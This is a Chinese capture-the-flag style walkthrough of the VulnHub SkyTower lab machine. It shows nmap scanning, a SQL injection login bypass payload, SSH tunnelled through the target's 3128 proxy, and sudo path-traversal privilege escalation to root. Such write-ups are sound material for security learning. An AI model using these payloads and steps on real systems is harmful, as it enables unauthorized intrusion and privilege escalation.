VulhubSkyTower靶机详解

项目地址

https://download.vulnhub.com/skytower/SkyTower.zip

项目配置

我们下载一个VirtualBox,这是官网

Downloads – Oracle VirtualBox

安装到默认路径就行

打开后点击注册

选择解压后的vbox文件

然后点击左上角管理

点击导出虚拟电脑,选中后下一步更改路径,然后一直下一步

就得到了一个iso镜像文件

实验过程

将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机

使用nmap进行主机发现,获取靶机ip和端口

nmap 192.168.47.0-254

根据对比可知SkyTower的ip地址为192.168.47.160,开放了22,80,3128端口

访问网站

发现是个登录界面

发现登录框,我们测sql注入

邮箱随便输入一个,密码我们输入

123'|| 1=1 #

爆出了一个默认用户

尝试登录发现登录失败

因为开放22端口,尝试一下ssh登录

连接不上

还有个3128端口,挂上代理尝试一下

vim /etc/proxychains4.conf

然后使用代理连接

proxychains ssh john@192.168.47.162 -t "/bin/sh"

连接成功

提权

sudo -l

发现没有权限

想起刚才login.php存在sql注入

查看一下

发现一个数据库

尝试登录

mysql -u root SkyTech -p

登录成功

四处翻翻

show databases;
use SkyTech;
show tables;
select * from login;

发现了另外一个用户sara

使用这个用户登录看看

proxychains ssh sara@192.168.47.162 -t "/bin/sh"

登录成功

sudo -l

发现/accounts/*有权限

pwd
ls ..
ls ../..

找到accounts在根目录下

我们利用accounts/有权限,查看root下有啥

sudo ls /accounts/../root

查看flag.txt文件

img

得到了root账户的密码

再次ssh连接root用户

proxychains ssh root@192.168.47.162 -t "/bin/sh"

img

提权成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值